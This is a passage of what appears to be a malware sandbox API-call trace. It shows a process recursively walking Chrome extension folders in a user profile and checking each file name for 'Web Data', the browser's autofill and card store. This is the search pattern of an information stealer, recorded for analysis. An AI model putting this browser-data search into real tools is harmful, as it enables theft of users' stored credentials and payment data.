(lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned 123 [0056.161] lstrlenA (lpString="\\*.*") returned 4 [0056.161] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x2decd0 [0056.161] lstrcpyA (in: lpString1=0x2decd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0056.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*" [0056.162] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.162] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.162] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.162] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.162] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.162] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.162] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0056.162] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.162] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0056.162] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.162] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0056.162] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.162] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0056.162] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.162] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.162] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.162] lstrcmpiA (lpString1=".", lpString2="__MACOSX") returned -1 [0056.162] lstrcmpiA (lpString1="..", lpString2="__MACOSX") returned -1 [0056.162] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned 123 [0056.162] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned 123 [0056.162] lstrlenA (lpString="\\") returned 1 [0056.162] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x2dedd8 [0056.162] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0056.162] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0056.162] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned 124 [0056.162] lstrlenA (lpString="__MACOSX") returned 8 [0056.162] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2d9b88 [0056.162] lstrcpyA (in: lpString1=0x2d9b88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0056.162] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\", lpString2="__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0056.162] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.162] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned 132 [0056.162] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned 132 [0056.163] lstrlenA (lpString="\\*.*") returned 4 [0056.163] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dedd8 [0056.163] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0056.163] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*" [0056.163] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.163] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.163] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.163] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.163] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.163] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.163] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.163] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.163] LocalFree (hMem=0x2d9b88) returned 0x0 [0056.163] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0 [0056.163] FindClose (in: hFindFile=0x2dc838 | out: hFindFile=0x2dc838) returned 1 [0056.163] LocalFree (hMem=0x2decd0) returned 0x0 [0056.163] LocalFree (hMem=0x2debc8) returned 0x0 [0056.163] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.163] lstrcmpiA (lpString1=".", lpString2="0.9_0") returned -1 [0056.163] lstrcmpiA (lpString1="..", lpString2="0.9_0") returned -1 [0056.163] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.163] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.163] lstrlenA (lpString="\\") returned 1 [0056.163] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2deac8 [0056.163] lstrcpyA (in: lpString1=0x2deac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0056.163] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0056.163] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned 114 [0056.163] lstrlenA (lpString="0.9_0") returned 5 [0056.163] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x2debc8 [0056.163] lstrcpyA (in: lpString1=0x2debc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0056.163] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0056.163] LocalFree (hMem=0x2deac8) returned 0x0 [0056.163] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.163] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.163] lstrlenA (lpString="\\*.*") returned 4 [0056.163] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x2decc8 [0056.163] lstrcpyA (in: lpString1=0x2decc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0056.163] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*" [0056.163] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.163] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.163] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.163] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.164] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.164] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.164] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0056.164] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.164] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0056.164] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.164] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0056.164] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.164] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0056.164] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.164] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.164] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.164] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.164] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 119 [0056.164] lstrlenA (lpString="\\") returned 1 [0056.164] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2dedd0 [0056.164] lstrcpyA (in: lpString1=0x2dedd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0056.164] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0056.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned 120 [0056.164] lstrlenA (lpString="_locales") returned 8 [0056.164] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x2deed8 [0056.164] lstrcpyA (in: lpString1=0x2deed8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0056.164] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.164] LocalFree (hMem=0x2dedd0) returned 0x0 [0056.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.164] lstrlenA (lpString="\\*.*") returned 4 [0056.164] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2d9b88 [0056.164] lstrcpyA (in: lpString1=0x2d9b88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.164] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*" [0056.164] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.165] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.165] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.165] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.165] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.165] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.165] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.165] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.165] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.165] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.165] lstrlenA (lpString="\\") returned 1 [0056.165] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.165] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.165] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.165] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.165] lstrlenA (lpString="ar") returned 2 [0056.165] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.165] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.165] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0056.165] LocalFree (hMem=0x2daca0) returned 0x0 [0056.165] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned 131 [0056.165] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned 131 [0056.165] lstrlenA (lpString="\\*.*") returned 4 [0056.165] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.165] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0056.165] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*" [0056.165] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.165] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.165] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.165] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.165] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.165] FindNextFileA (in: hFindFile=0x2dc8b8, 